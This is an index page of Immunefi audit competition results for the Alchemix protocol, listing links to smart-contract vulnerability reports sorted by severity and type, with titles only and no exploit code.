# README

Welcome to the Immunefi Audit Competitions Results page!

Here you'll find all the results of past audit competitions run on Immunefi. We regularly update this page to include the latest information and outcomes of our audit competitions.

If you are interested in participating in the next audit competition, you can find more information [here](https://immunefi.com/boost/).


# Alchemix

## Reports by Severity

[Critical](#critical) | [High](#high) | [Medium](#medium) | [Low](#low) | [Insight](#insight)

<details>

<summary>Critical</summary>

* [30634 - \[SC - Critical\] Unauthorized minting of unlimited FLUX in tran...](/alchemix/30634-sc-critical-unauthorized-minting-of-unlimited-flux-in-tran...)
* [30650 - \[SC - Critical\] Infinite minting of FLUX through voterpoke](/alchemix/30650-sc-critical-infinite-minting-of-flux-through-voterpoke)
* [30651 - \[SC - Critical\] Insolvency in RevenueHandlersol because unclaim...](/alchemix/30651-sc-critical-insolvency-in-revenuehandlersol-because-unclaim...)
* [30655 - \[SC - Critical\] Binary search does not correctly handle duplica...](/alchemix/30655-sc-critical-binary-search-does-not-correctly-handle-duplica...)
* [30671 - \[SC - Critical\] Reward token permanent freeze due to bulk call ...](/alchemix/30671-sc-critical-reward-token-permanent-freeze-due-to-bulk-call-...)
* [30682 - \[SC - Critical\] Insufficient slippage control in RevenueHandler...](/alchemix/30682-sc-critical-insufficient-slippage-control-in-revenuehandler...)
* [30683 - \[SC - Critical\] User can increase their unclaimed Flux token wi...](/alchemix/30683-sc-critical-user-can-increase-their-unclaimed-flux-token-wi...)
* [30788 - \[SC - Critical\] User can increase their unclaimed Flux token wi...](/alchemix/30788-sc-critical-user-can-increase-their-unclaimed-flux-token-wi...)
* [30800 - \[SC - Critical\] Stealing FLUX by claiming then merging position...](/alchemix/30800-sc-critical-stealing-flux-by-claiming-then-merging-position...)
* [30814 - \[SC - Critical\] Wrong calculation of boost amount in Voterpoke](/alchemix/30814-sc-critical-wrong-calculation-of-boost-amount-in-voterpoke)
* [30825 - \[SC - Critical\] Users can get unlimited amounts of Flux tokens](/alchemix/30825-sc-critical-users-can-get-unlimited-amounts-of-flux-tokens)
* [30860 - \[SC - Critical\] Wrong timestamp for totalVoting](/alchemix/30860-sc-critical-wrong-timestamp-for-totalvoting)
* [30898 - \[SC - Critical\] Call the deposit function before the distribute...](/alchemix/30898-sc-critical-call-the-deposit-function-before-the-distribute...)
* [30906 - \[SC - Critical\] Voterpoke can be called at will leading to a us...](/alchemix/30906-sc-critical-voterpoke-can-be-called-at-will-leading-to-a-us...)
* [30919 - \[SC - Critical\] Front running of pokeTokens could lead to loss ...](/alchemix/30919-sc-critical-front-running-of-poketokens-could-lead-to-loss-...)
* [30925 - \[SC - Critical\] Manipulation of governance voting result by unl...](/alchemix/30925-sc-critical-manipulation-of-governance-voting-result-by-unl...)
* [30939 - \[SC - Critical\] Misuse of curve pool calls results for precisio...](/alchemix/30939-sc-critical-misuse-of-curve-pool-calls-results-for-precisio...)
* [30972 - \[SC - Critical\] Theft of unclaimed yield of the revenue in the ...](/alchemix/30972-sc-critical-theft-of-unclaimed-yield-of-the-revenue-in-the-...)
* [30990 - \[SC - Critical\] Users can use Voterpoke to accrue Flux tokens i...](/alchemix/30990-sc-critical-users-can-use-voterpoke-to-accrue-flux-tokens-i...)
* [30999 - \[SC - Critical\] An edge-case mints times more FLUX than it should](/alchemix/30999-sc-critical-an-edge-case-mints-times-more-flux-than-it-should)
* [31071 - \[SC - Critical\] User can steal bribes and prevent other users f...](/alchemix/31071-sc-critical-user-can-steal-bribes-and-prevent-other-users-f...)
* [31076 - \[SC - Critical\] checkpointTotalSupply can checkpoint before a t...](/alchemix/31076-sc-critical-checkpointtotalsupply-can-checkpoint-before-a-t...)
* [31077 - \[SC - Critical\] RevenueHandler counts unclaimed tokens as new r...](/alchemix/31077-sc-critical-revenuehandler-counts-unclaimed-tokens-as-new-r...)
* [31079 - \[SC - Critical\] Claiming bribes for epochs you didnt vote for l...](/alchemix/31079-sc-critical-claiming-bribes-for-epochs-you-didnt-vote-for-l...)
* [31082 - \[SC - Critical\] Expired locks can be used to claim rewards](/alchemix/31082-sc-critical-expired-locks-can-be-used-to-claim-rewards)
* [31085 - \[SC - Critical\] Malicious users can front-run the distribution ...](/alchemix/31085-sc-critical-malicious-users-can-front-run-the-distribution-...)
* [31112 - \[SC - Critical\] Bribesolwithdraw doesnt update the totalVotings...](/alchemix/31112-sc-critical-bribesolwithdraw-doesnt-update-the-totalvotings...)
* [31141 - \[SC - Critical\] Permanent freezing of unclaimed yield of reward...](/alchemix/31141-sc-critical-permanent-freezing-of-unclaimed-yield-of-reward...)
* [31149 - \[SC - Critical\] Manipulation of governance voting result by unl...](/alchemix/31149-sc-critical-manipulation-of-governance-voting-result-by-unl...)
* [31163 - \[SC - Critical\] Malicious actor can acquire bribe rewards by bl...](/alchemix/31163-sc-critical-malicious-actor-can-acquire-bribe-rewards-by-bl...)
* [31184 - \[SC - Critical\] Deflating the total amount of votes in a checkp...](/alchemix/31184-sc-critical-deflating-the-total-amount-of-votes-in-a-checkp...)
* [31196 - \[SC - Critical\] Voterpoke does not check lastVoted resulting in...](/alchemix/31196-sc-critical-voterpoke-does-not-check-lastvoted-resulting-in...)
* [31198 - \[SC - Critical\] VotingEscrowmerge does not check whether the \_f...](/alchemix/31198-sc-critical-votingescrowmerge-does-not-check-whether-the-_f...)
* [31199 - \[SC - Critical\] Users might receive less rewars token after Vot...](/alchemix/31199-sc-critical-users-might-receive-less-rewars-token-after-vot...)
* [31211 - \[SC - Critical\] Inflation Of Total Votes and Potential Freeze o...](/alchemix/31211-sc-critical-inflation-of-total-votes-and-potential-freeze-o...)
* [31222 - \[SC - Critical\] Unlimited Flux minting](/alchemix/31222-sc-critical-unlimited-flux-minting)
* [31223 - \[SC - Critical\] Disproportionate Rewards Manipulation in Bribesol](/alchemix/31223-sc-critical-disproportionate-rewards-manipulation-in-bribesol)
* [31242 - \[SC - Critical\] RevenueHandlercheckpoint allows users to claim ...](/alchemix/31242-sc-critical-revenuehandlercheckpoint-allows-users-to-claim-...)
* [31249 - \[SC - Critical\] malicious user can back-run Voterdistribute to ...](/alchemix/31249-sc-critical-malicious-user-can-back-run-voterdistribute-to-...)
* [31253 - \[SC - Critical\] RevenueHandlercheckpoint isnt correctly](/alchemix/31253-sc-critical-revenuehandlercheckpoint-isnt-correctly)
* [31263 - \[SC - Critical\] RevenueHandlercheckpoint counts unclaimed rewar...](/alchemix/31263-sc-critical-revenuehandlercheckpoint-counts-unclaimed-rewar...)
* [31280 - \[SC - Critical\] Malicious user can mint unlimited flux tokens](/alchemix/31280-sc-critical-malicious-user-can-mint-unlimited-flux-tokens)
* [31309 - \[SC - Critical\] slippage protection is inaccurate](/alchemix/31309-sc-critical-slippage-protection-is-inaccurate)
* [31329 - \[SC - Critical\] Attacker can gain infinitive FLUX by repeating ...](/alchemix/31329-sc-critical-attacker-can-gain-infinitive-flux-by-repeating-...)
* [31375 - \[SC - Critical\] Lack of Access control in poke function allows ...](/alchemix/31375-sc-critical-lack-of-access-control-in-poke-function-allows-...)
* [31377 - \[SC - Critical\] Stucked yield tokens upon withdrawal of votes f...](/alchemix/31377-sc-critical-stucked-yield-tokens-upon-withdrawal-of-votes-f...)
* [31386 - \[SC - Critical\] Malicious user can steal FLUX token by abusing ...](/alchemix/31386-sc-critical-malicious-user-can-steal-flux-token-by-abusing-...)
* [31388 - \[SC - Critical\] Vulnerability in the poke function of Voting co...](/alchemix/31388-sc-critical-vulnerability-in-the-poke-function-of-voting-co...)
* [31397 - \[SC - Critical\] In Bribesol \_writeVotingCheckpoint isnt called ...](/alchemix/31397-sc-critical-in-bribesol-_writevotingcheckpoint-isnt-called-...)
* [31408 - \[SC - Critical\] Killed Gauge continue to accrue and steal rewar...](/alchemix/31408-sc-critical-killed-gauge-continue-to-accrue-and-steal-rewar...)
* [31409 - \[SC - Critical\] Users can grief Bribe rewards forcing them to b...](/alchemix/31409-sc-critical-users-can-grief-bribe-rewards-forcing-them-to-b...)
* [31418 - \[SC - Critical\] the killed gauge collect claim amount](/alchemix/31418-sc-critical-the-killed-gauge-collect-claim-amount)
* [31444 - \[SC - Critical\] Manipulation of ve voting mechanism unlimited b...](/alchemix/31444-sc-critical-manipulation-of-ve-voting-mechanism-unlimited-b...)
* [31453 - \[SC - Critical\] The balance of RevenueHandler can be drained](/alchemix/31453-sc-critical-the-balance-of-revenuehandler-can-be-drained)
* [31458 - \[SC - Critical\] Invalid handling of epochs revenue for tokens t...](/alchemix/31458-sc-critical-invalid-handling-of-epochs-revenue-for-tokens-t...)
* [31461 - \[SC - Critical\] veALCX holder can mint Unlimited FLUX tokens](/alchemix/31461-sc-critical-vealcx-holder-can-mint-unlimited-flux-tokens)
* [31466 - \[SC - Critical\] Wrong reward calculation leads to rewards being...](/alchemix/31466-sc-critical-wrong-reward-calculation-leads-to-rewards-being...)
* [31470 - \[SC - Critical\] Bribing protocols pay bribes but dont get emiss...](/alchemix/31470-sc-critical-bribing-protocols-pay-bribes-but-dont-get-emiss...)
* [31472 - \[SC - Critical\] Stealing all revenue from the Alchemix protocol](/alchemix/31472-sc-critical-stealing-all-revenue-from-the-alchemix-protocol)
* [31481 - \[SC - Critical\] Undound FLUX accrual through reset and merge](/alchemix/31481-sc-critical-undound-flux-accrual-through-reset-and-merge)
* [31483 - \[SC - Critical\] Users can vote multiple times in one epoch](/alchemix/31483-sc-critical-users-can-vote-multiple-times-in-one-epoch)
* [31485 - \[SC - Critical\] Miscalculation of distributed tokens at revenue...](/alchemix/31485-sc-critical-miscalculation-of-distributed-tokens-at-revenue...)
* [31488 - \[SC - Critical\] Merging tokens allows multiple Flux accruals wi...](/alchemix/31488-sc-critical-merging-tokens-allows-multiple-flux-accruals-wi...)
* [31495 - \[SC - Critical\] Users cannot claim rewards from RevenueHandler ...](/alchemix/31495-sc-critical-users-cannot-claim-rewards-from-revenuehandler-...)
* [31507 - \[SC - Critical\] Malicious user could flash-loan the veALCX to i...](/alchemix/31507-sc-critical-malicious-user-could-flash-loan-the-vealcx-to-i...)
* [31512 - \[SC - Critical\] Infinite minting of FLUX through Merge](/alchemix/31512-sc-critical-infinite-minting-of-flux-through-merge)
* [31520 - \[SC - Critical\] Incorrect accounting of totalVoting leads to pe...](/alchemix/31520-sc-critical-incorrect-accounting-of-totalvoting-leads-to-pe...)
* [31526 - \[SC - Critical\] A user is able to claim more bribes than they h...](/alchemix/31526-sc-critical-a-user-is-able-to-claim-more-bribes-than-they-h...)
* [31527 - \[SC - Critical\] No accounting for totalVoting in Bribesolwithdr...](/alchemix/31527-sc-critical-no-accounting-for-totalvoting-in-bribesolwithdr...)
* [31541 - \[SC - Critical\] FluxTokens unlimited mint and Exploitation of g...](/alchemix/31541-sc-critical-fluxtokens-unlimited-mint-and-exploitation-of-g...)
* [31556 - \[SC - Critical\] Unfair Revenue Distribution in Non-Alchemix Rev...](/alchemix/31556-sc-critical-unfair-revenue-distribution-in-non-alchemix-rev...)
* [31567 - \[SC - Critical\] VotingEscrowsolcheckpoint is completely broken](/alchemix/31567-sc-critical-votingescrowsolcheckpoint-is-completely-broken)
* [31579 - \[SC - Critical\] Infinite mint of FLUX using poke](/alchemix/31579-sc-critical-infinite-mint-of-flux-using-poke)
* [31584 - \[SC - Critical\] Loss Of Boosted Weight When Poking In The Same ...](/alchemix/31584-sc-critical-loss-of-boosted-weight-when-poking-in-the-same-...)

</details>

<details>

<summary>High</summary>

* [30699 - \[SC - High\] Permanent freezing of unclaimed ALCX yield when...](/alchemix/30699-sc-high-permanent-freezing-of-unclaimed-alcx-yield-when...)
* [30826 - \[SC - High\] ALCK rewards are lost when merging tokens becau...](/alchemix/30826-sc-high-alck-rewards-are-lost-when-merging-tokens-becau...)
* [30910 - \[SC - High\] Processing of voting results is not implemented...](/alchemix/30910-sc-high-processing-of-voting-results-is-not-implemented...)
* [30922 - \[SC - High\] DOS of withdrawals through filling the userPoin...](/alchemix/30922-sc-high-dos-of-withdrawals-through-filling-the-userpoin...)
* [31008 - \[SC - High\] Alcx rewards are permanently frozen when two to...](/alchemix/31008-sc-high-alcx-rewards-are-permanently-frozen-when-two-to...)
* [31042 - \[SC - High\] Claiming alchemic-token rewards can fail for so...](/alchemix/31042-sc-high-claiming-alchemic-token-rewards-can-fail-for-so...)
* [31078 - \[SC - High\] withdraw doesnt claim all rewards before burnin...](/alchemix/31078-sc-high-withdraw-doesnt-claim-all-rewards-before-burnin...)
* [31189 - \[SC - High\] Voting algorithm does not apply maximum availab...](/alchemix/31189-sc-high-voting-algorithm-does-not-apply-maximum-availab...)
* [31258 - \[SC - High\] Loss of Unclaimed Bribes After Burning veALCX T...](/alchemix/31258-sc-high-loss-of-unclaimed-bribes-after-burning-vealcx-t...)
* [31276 - \[SC - High\] BPT can be locked for only week resulting in u...](/alchemix/31276-sc-high-bpt-can-be-locked-for-only-week-resulting-in-u...)
* [31293 - \[SC - High\] Voters who withdraw veLACX tokens risk losing g...](/alchemix/31293-sc-high-voters-who-withdraw-velacx-tokens-risk-losing-g...)
* [31295 - \[SC - High\] Newly created gauge may missed out on its rewards](/alchemix/31295-sc-high-newly-created-gauge-may-missed-out-on-its-rewards)
* [31326 - \[SC - High\] Precision loss causes minor loss of FLUX when c...](/alchemix/31326-sc-high-precision-loss-causes-minor-loss-of-flux-when-c...)
* [31335 - \[SC - High\] getActualSupply should be used instead of total...](/alchemix/31335-sc-high-getactualsupply-should-be-used-instead-of-total...)
* [31380 - \[SC - High\] FluxTokencalculateBPT uses wrong algorithm caus...](/alchemix/31380-sc-high-fluxtokencalculatebpt-uses-wrong-algorithm-caus...)
* [31382 - \[SC - High\] VotingEscrowupdateUnlockTime - Its possible for...](/alchemix/31382-sc-high-votingescrowupdateunlocktime-its-possible-for...)
* [31390 - \[SC - High\] Precision Loss in FluxTokensolgetClaimableFlux](/alchemix/31390-sc-high-precision-loss-in-fluxtokensolgetclaimableflux)
* [31399 - \[SC - High\] RewardDistributor claims can be DoSed through e...](/alchemix/31399-sc-high-rewarddistributor-claims-can-be-dosed-through-e...)
* [31435 - \[SC - High\] ALCX rewards arent claimed for from token when ...](/alchemix/31435-sc-high-alcx-rewards-arent-claimed-for-from-token-when-...)
* [31447 - \[SC - High\] veALCX holders are able to withdraw rewards and...](/alchemix/31447-sc-high-vealcx-holders-are-able-to-withdraw-rewards-and...)
* [31478 - \[SC - High\] calculateBPT doesnt divide by basis points infl...](/alchemix/31478-sc-high-calculatebpt-doesnt-divide-by-basis-points-infl...)
* [31479 - \[SC - High\] alchemechNFT holder will get too little FLUX be...](/alchemix/31479-sc-high-alchemechnft-holder-will-get-too-little-flux-be...)
* [31480 - \[SC - High\] Miscalculation of global bias](/alchemix/31480-sc-high-miscalculation-of-global-bias)
* [31484 - \[SC - High\] Rewards for the first epoch at rewards distribu...](/alchemix/31484-sc-high-rewards-for-the-first-epoch-at-rewards-distribu...)
* [31486 - \[SC - High\] getClaimableFlux miscalculates claimable FLUX f...](/alchemix/31486-sc-high-getclaimableflux-miscalculates-claimable-flux-f...)
* [31494 - \[SC - High\] Alchemix The first epochs ALCX emissions of vo...](/alchemix/31494-sc-high-alchemix-the-first-epochs-alcx-emissions-of-vo...)
* [31498 - \[SC - High\] Alchemix ALCX rewards are currently subject to...](/alchemix/31498-sc-high-alchemix-alcx-rewards-are-currently-subject-to...)
* [31524 - \[SC - High\] Rounding down in getClaimableFlux leads to less...](/alchemix/31524-sc-high-rounding-down-in-getclaimableflux-leads-to-less...)
* [31544 - \[SC - High\] Certain small amount of tokens are not accounte...](/alchemix/31544-sc-high-certain-small-amount-of-tokens-are-not-accounte...)
* [31597 - \[SC - High\] Loss of precision while calculating claimable f...](/alchemix/31597-sc-high-loss-of-precision-while-calculating-claimable-f...)

</details>

<details>

<summary>Medium</summary>

* [30592 - \[SC - Medium\] DOS attack by delegating tokens at MAX\_DELEGATE...](/alchemix/30592-sc-medium-dos-attack-by-delegating-tokens-at-max_delegate...)
* [30613 - \[SC - Medium\] malicious user can front run any call to the sw...](/alchemix/30613-sc-medium-malicious-user-can-front-run-any-call-to-the-sw...)
* [30667 - \[SC - Medium\] Unlimited gauge numbers can DoS users distribut...](/alchemix/30667-sc-medium-unlimited-gauge-numbers-can-dos-users-distribut...)
* [30685 - \[SC - Medium\] The proposer can be impeded from submitting a p...](/alchemix/30685-sc-medium-the-proposer-can-be-impeded-from-submitting-a-p...)
* [30704 - \[SC - Medium\] Griefing an account from getting votes delegate...](/alchemix/30704-sc-medium-griefing-an-account-from-getting-votes-delegate...)
* [30886 - \[SC - Medium\] Wrong totalWeight in Votersol](/alchemix/30886-sc-medium-wrong-totalweight-in-votersol)
* [30985 - \[SC - Medium\] Griefing attack prevents admins from disabling ...](/alchemix/30985-sc-medium-griefing-attack-prevents-admins-from-disabling-...)
* [31151 - \[SC - Medium\] Delegation Saturation Leading to Asset Freezing...](/alchemix/31151-sc-medium-delegation-saturation-leading-to-asset-freezing...)
* [31234 - \[SC - Medium\] Alchemix BlockSlope variable in checkpoint rou...](/alchemix/31234-sc-medium-alchemix-blockslope-variable-in-checkpoint-rou...)
* [31298 - \[SC - Medium\] Anyone can let users delegates reach the upper ...](/alchemix/31298-sc-medium-anyone-can-let-users-delegates-reach-the-upper-...)
* [31410 - \[SC - Medium\] Griefing Attack using delegate will expose User...](/alchemix/31410-sc-medium-griefing-attack-using-delegate-will-expose-user...)
* [31413 - \[SC - Medium\] DOS attack by delegating tokens at MAX\_DELEGATES](/alchemix/31413-sc-medium-dos-attack-by-delegating-tokens-at-max_delegates)
* [31425 - \[SC - Medium\] Users can call reset on their token even if the...](/alchemix/31425-sc-medium-users-can-call-reset-on-their-token-even-if-the...)
* [31448 - \[SC - Medium\] Bypassing the Governances proposal threshold to...](/alchemix/31448-sc-medium-bypassing-the-governances-proposal-threshold-to...)
* [31462 - \[SC - Medium\] Alchemix addReward access control can be bypas...](/alchemix/31462-sc-medium-alchemix-addreward-access-control-can-be-bypas...)
* [31514 - \[SC - Medium\] Malicious users can cause pokeTokens to revert](/alchemix/31514-sc-medium-malicious-users-can-cause-poketokens-to-revert)
* [31521 - \[SC - Medium\] Early return in RewardsDistributorclaim can cau...](/alchemix/31521-sc-medium-early-return-in-rewardsdistributorclaim-can-cau...)
* [31539 - \[SC - Medium\] The Voterdistribute function can continue to fail](/alchemix/31539-sc-medium-the-voterdistribute-function-can-continue-to-fail)
* [31562 - \[SC - Medium\] Every consecutive epoch will have same number o...](/alchemix/31562-sc-medium-every-consecutive-epoch-will-have-same-number-o...)
* [31566 - \[SC - Medium\] Checkpoints wont update block number in point b...](/alchemix/31566-sc-medium-checkpoints-wont-update-block-number-in-point-b...)
* [31575 - \[SC - Medium\] depositIntoRewardPool and withdrawFromRewardPo...](/alchemix/31575-sc-medium-depositintorewardpool-and-withdrawfromrewardpo...)

</details>

<details>

<summary>Low</summary>

* [30555 - \[SC - Low\] Precision loss when calculating the FLUX amount...](/alchemix/30555-sc-low-precision-loss-when-calculating-the-flux-amount...)
* [30556 - \[SC - Low\] Past defeated proposals may become executable i...](/alchemix/30556-sc-low-past-defeated-proposals-may-become-executable-i...)
* [30565 - \[SC - Low\] veALCX does not comply with ERC breaking compos...](/alchemix/30565-sc-low-vealcx-does-not-comply-with-erc-breaking-compos...)
* [30598 - \[SC - Low\] Access Control Flaw in \_burn Function Leads to ...](/alchemix/30598-sc-low-access-control-flaw-in-_burn-function-leads-to-...)
* [30694 - \[SC - Low\] Users approved for a single token id cannot wit...](/alchemix/30694-sc-low-users-approved-for-a-single-token-id-cannot-wit...)
* [30708 - \[SC - Low\] treasuryPct can be exceeded than BPS due to inc...](/alchemix/30708-sc-low-treasurypct-can-be-exceeded-than-bps-due-to-inc...)
* [30711 - \[SC - Low\] The result of the AggregatorVInterface is not v...](/alchemix/30711-sc-low-the-result-of-the-aggregatorvinterface-is-not-v...)
* [30781 - \[SC - Low\] It is possible to lower the quorum requirements...](/alchemix/30781-sc-low-it-is-possible-to-lower-the-quorum-requirements...)
* [30818 - \[SC - Low\] division before multiplication in theamountToRa...](/alchemix/30818-sc-low-division-before-multiplication-in-theamounttora...)
* [30920 - \[SC - Low\] User loses access to claims after merging of to...](/alchemix/30920-sc-low-user-loses-access-to-claims-after-merging-of-to...)
* [30921 - \[SC - Low\] Referential assignment causes incorrect block i...](/alchemix/30921-sc-low-referential-assignment-causes-incorrect-block-i...)
* [30926 - \[SC - Low\] AlchemixGovernor updates to quorum can affect p...](/alchemix/30926-sc-low-alchemixgovernor-updates-to-quorum-can-affect-p...)
* [30951 - \[SC - Low\] Incorrect ownerOf implementation makes veALCX n...](/alchemix/30951-sc-low-incorrect-ownerof-implementation-makes-vealcx-n...)
* [30973 - \[SC - Low\] Incorrect Validation of treasuryPct in the Reve...](/alchemix/30973-sc-low-incorrect-validation-of-treasurypct-in-the-reve...)
* [31087 - \[SC - Low\] Colition between approve and \_isApprovedOrOwner...](/alchemix/31087-sc-low-colition-between-approve-and-_isapprovedorowner...)
* [31272 - \[SC - Low\] Approved user cant merge tokens not approved fo...](/alchemix/31272-sc-low-approved-user-cant-merge-tokens-not-approved-fo...)
* [31281 - \[SC - Low\] Approved spender cannot withdraw or merge](/alchemix/31281-sc-low-approved-spender-cannot-withdraw-or-merge)
* [31355 - \[SC - Low\] Past Defeated Proposals Can Be Executed in the ...](/alchemix/31355-sc-low-past-defeated-proposals-can-be-executed-in-the-...)
* [31381 - \[SC - Low\] Alchemix Incorrect Initialisation of struct in...](/alchemix/31381-sc-low-alchemix-incorrect-initialisation-of-struct-in...)
* [31383 - \[SC - Low\] price feeds sanity checks isnt correct in funct...](/alchemix/31383-sc-low-price-feeds-sanity-checks-isnt-correct-in-funct...)
* [31385 - \[SC - Low\] RewardsDistributortokensPerWeek might be zero i...](/alchemix/31385-sc-low-rewardsdistributortokensperweek-might-be-zero-i...)
* [31449 - \[SC - Low\] BribegetRewardForOwner should not revert if the...](/alchemix/31449-sc-low-bribegetrewardforowner-should-not-revert-if-the...)
* [31487 - \[SC - Low\] Wrong condition check on RevenueHandlerconstruc...](/alchemix/31487-sc-low-wrong-condition-check-on-revenuehandlerconstruc...)
* [31497 - \[SC - Low\] executeBatch lacks payable so ethers can not be...](/alchemix/31497-sc-low-executebatch-lacks-payable-so-ethers-can-not-be...)
* [31519 - \[SC - Low\] Lack of revert statement in Votersolpoke result...](/alchemix/31519-sc-low-lack-of-revert-statement-in-votersolpoke-result...)
* [31523 - \[SC - Low\] USDT Approval will cause function failure](/alchemix/31523-sc-low-usdt-approval-will-cause-function-failure)
* [31542 - \[SC - Low\] Bribeearned - L Its potentially possible to ear...](/alchemix/31542-sc-low-bribeearned-l-its-potentially-possible-to-ear...)
* [31555 - \[SC - Low\] RewardsDistributoramountToCompound - L The stal...](/alchemix/31555-sc-low-rewardsdistributoramounttocompound-l-the-stal...)
* [31559 - \[SC - Low\] Minter UpdatePeriod after weeks causes Rewards...](/alchemix/31559-sc-low-minter-updateperiod-after-weeks-causes-rewards...)
* [31563 - \[SC - Low\] Oracle days staleThreshold for priceTimestamp ...](/alchemix/31563-sc-low-oracle-days-stalethreshold-for-pricetimestamp-...)
* [31588 - \[SC - Low\] Users could start cooldown period for their wit...](/alchemix/31588-sc-low-users-could-start-cooldown-period-for-their-wit...)

</details>

<details>

<summary>Insight</summary>

* [30584 - \[SC - Insight\] Invalid check to make sure Minter is already in...](/alchemix/30584-sc-insight-invalid-check-to-make-sure-minter-is-already-in...)
* [30710 - \[SC - Insight\] The execution of the proposal has no expiration](/alchemix/30710-sc-insight-the-execution-of-the-proposal-has-no-expiration)
* [30918 - \[SC - Insight\] Incorrect implementation of ownerOf makes veALC...](/alchemix/30918-sc-insight-incorrect-implementation-of-ownerof-makes-vealc...)
* [30959 - \[SC - Insight\] Immutable gauges can break the state of the vot...](/alchemix/30959-sc-insight-immutable-gauges-can-break-the-state-of-the-vot...)
* [30992 - \[SC - Insight\] Inconsistent State Missing Event Emission in Fl...](/alchemix/30992-sc-insight-inconsistent-state-missing-event-emission-in-fl...)
* [31080 - \[SC - Insight\] DoS in startCooldown when users want start cool...](/alchemix/31080-sc-insight-dos-in-startcooldown-when-users-want-start-cool...)
* [31226 - \[SC - Insight\] Missing Revert Message in require statement lea...](/alchemix/31226-sc-insight-missing-revert-message-in-require-statement-lea...)
* [31264 - \[SC - Insight\] Multiple Reports QALowOOS Medium](/alchemix/31264-sc-insight-multiple-reports-qalowoos-medium)
* [31277 - \[SC - Insight\] The user can propose with less voting power tha...](/alchemix/31277-sc-insight-the-user-can-propose-with-less-voting-power-tha...)
* [31284 - \[SC - Insight\] cancel should allow to cancel the proposal of t...](/alchemix/31284-sc-insight-cancel-should-allow-to-cancel-the-proposal-of-t...)
* [31407 - \[SC - Insight\] Alchemist is given over Allowance through Reven...](/alchemix/31407-sc-insight-alchemist-is-given-over-allowance-through-reven...)
* [31416 - \[SC - Insight\] Impossible to set boostMultiplier to MIN\_BOOST](/alchemix/31416-sc-insight-impossible-to-set-boostmultiplier-to-min_boost)
* [31417 - \[SC - Insight\] Compound claiming transactions will revert if u...](/alchemix/31417-sc-insight-compound-claiming-transactions-will-revert-if-u...)
* [31420 - \[SC - Insight\] No array lengths check in VotersolclaimBribes](/alchemix/31420-sc-insight-no-array-lengths-check-in-votersolclaimbribes)
* [31430 - \[SC - Insight\] QA](/alchemix/31430-sc-insight-qa)
* [31443 - \[SC - Insight\] Incorrect values of votingDelay and votingPerio...](/alchemix/31443-sc-insight-incorrect-values-of-votingdelay-and-votingperio...)
* [31451 - \[SC - Insight\] MAX\_PROPOSAL\_NUMERATOR is incorrectly set](/alchemix/31451-sc-insight-max_proposal_numerator-is-incorrectly-set)
* [31460 - \[SC - Insight\] supportsInterface does not return typeIERCRecei...](/alchemix/31460-sc-insight-supportsinterface-does-not-return-typeiercrecei...)
* [31503 - \[SC - Insight\] Incorrect value of MAX\_PROPOSAL\_NUMERATOR in Al...](/alchemix/31503-sc-insight-incorrect-value-of-max_proposal_numerator-in-al...)
* [31540 - \[SC - Insight\] Expired Token Locks Impacting Vote Weight Calcu...](/alchemix/31540-sc-insight-expired-token-locks-impacting-vote-weight-calcu...)
* [31552 - \[SC - Insight\] Lack of the validation for a Flash token protec...](/alchemix/31552-sc-insight-lack-of-the-validation-for-a-flash-token-protec...)
* [31558 - \[SC - Insight\] Discrepancy in MAX\_PROPOSAL\_NUMERATOR Value in ...](/alchemix/31558-sc-insight-discrepancy-in-max_proposal_numerator-value-in-...)
* [31583 - \[SC - Insight\] Off by one error while adding reward pool token](/alchemix/31583-sc-insight-off-by-one-error-while-adding-reward-pool-token)
* [31592 - \[SC - Insight\] Collection of other important issues](/alchemix/31592-sc-insight-collection-of-other-important-issues)
* [31594 - \[SC - Insight\] RewardPoolManager can only add RewardPoolToken ...](/alchemix/31594-sc-insight-rewardpoolmanager-can-only-add-rewardpooltoken-...)

</details>

## Reports by Type

[Smart Contract](#smart-contract)

<details>

<summary>Smart Contract</summary>

* [30555 - \[SC - Low\] Precision loss when calculating the FLUX amount...](/alchemix/30555-sc-low-precision-loss-when-calculating-the-flux-amount...)
* [30556 - \[SC - Low\] Past defeated proposals may become executable i...](/alchemix/30556-sc-low-past-defeated-proposals-may-become-executable-i...)
* [30565 - \[SC - Low\] veALCX does not comply with ERC breaking compos...](/alchemix/30565-sc-low-vealcx-does-not-comply-with-erc-breaking-compos...)
* [30584 - \[SC - Insight\] Invalid check to make sure Minter is already in...](/alchemix/30584-sc-insight-invalid-check-to-make-sure-minter-is-already-in...)
* [30592 - \[SC - Medium\] DOS attack by delegating tokens at MAX\_DELEGATE...](/alchemix/30592-sc-medium-dos-attack-by-delegating-tokens-at-max_delegate...)
* [30598 - \[SC - Low\] Access Control Flaw in \_burn Function Leads to ...](/alchemix/30598-sc-low-access-control-flaw-in-_burn-function-leads-to-...)
* [30613 - \[SC - Medium\] malicious user can front run any call to the sw...](/alchemix/30613-sc-medium-malicious-user-can-front-run-any-call-to-the-sw...)
* [30634 - \[SC - Critical\] Unauthorized minting of unlimited FLUX in tran...](/alchemix/30634-sc-critical-unauthorized-minting-of-unlimited-flux-in-tran...)
* [30650 - \[SC - Critical\] Infinite minting of FLUX through voterpoke](/alchemix/30650-sc-critical-infinite-minting-of-flux-through-voterpoke)
* [30651 - \[SC - Critical\] Insolvency in RevenueHandlersol because unclaim...](/alchemix/30651-sc-critical-insolvency-in-revenuehandlersol-because-unclaim...)
* [30655 - \[SC - Critical\] Binary search does not correctly handle duplica...](/alchemix/30655-sc-critical-binary-search-does-not-correctly-handle-duplica...)
* [30667 - \[SC - Medium\] Unlimited gauge numbers can DoS users distribut...](/alchemix/30667-sc-medium-unlimited-gauge-numbers-can-dos-users-distribut...)
* [30671 - \[SC - Critical\] Reward token permanent freeze due to bulk call ...](/alchemix/30671-sc-critical-reward-token-permanent-freeze-due-to-bulk-call-...)
* [30682 - \[SC - Critical\] Insufficient slippage control in RevenueHandler...](/alchemix/30682-sc-critical-insufficient-slippage-control-in-revenuehandler...)
* [30683 - \[SC - Critical\] User can increase their unclaimed Flux token wi...](/alchemix/30683-sc-critical-user-can-increase-their-unclaimed-flux-token-wi...)
* [30685 - \[SC - Medium\] The proposer can be impeded from submitting a p...](/alchemix/30685-sc-medium-the-proposer-can-be-impeded-from-submitting-a-p...)
* [30694 - \[SC - Low\] Users approved for a single token id cannot wit...](/alchemix/30694-sc-low-users-approved-for-a-single-token-id-cannot-wit...)
* [30699 - \[SC - High\] Permanent freezing of unclaimed ALCX yield when...](/alchemix/30699-sc-high-permanent-freezing-of-unclaimed-alcx-yield-when...)
* [30704 - \[SC - Medium\] Griefing an account from getting votes delegate...](/alchemix/30704-sc-medium-griefing-an-account-from-getting-votes-delegate...)
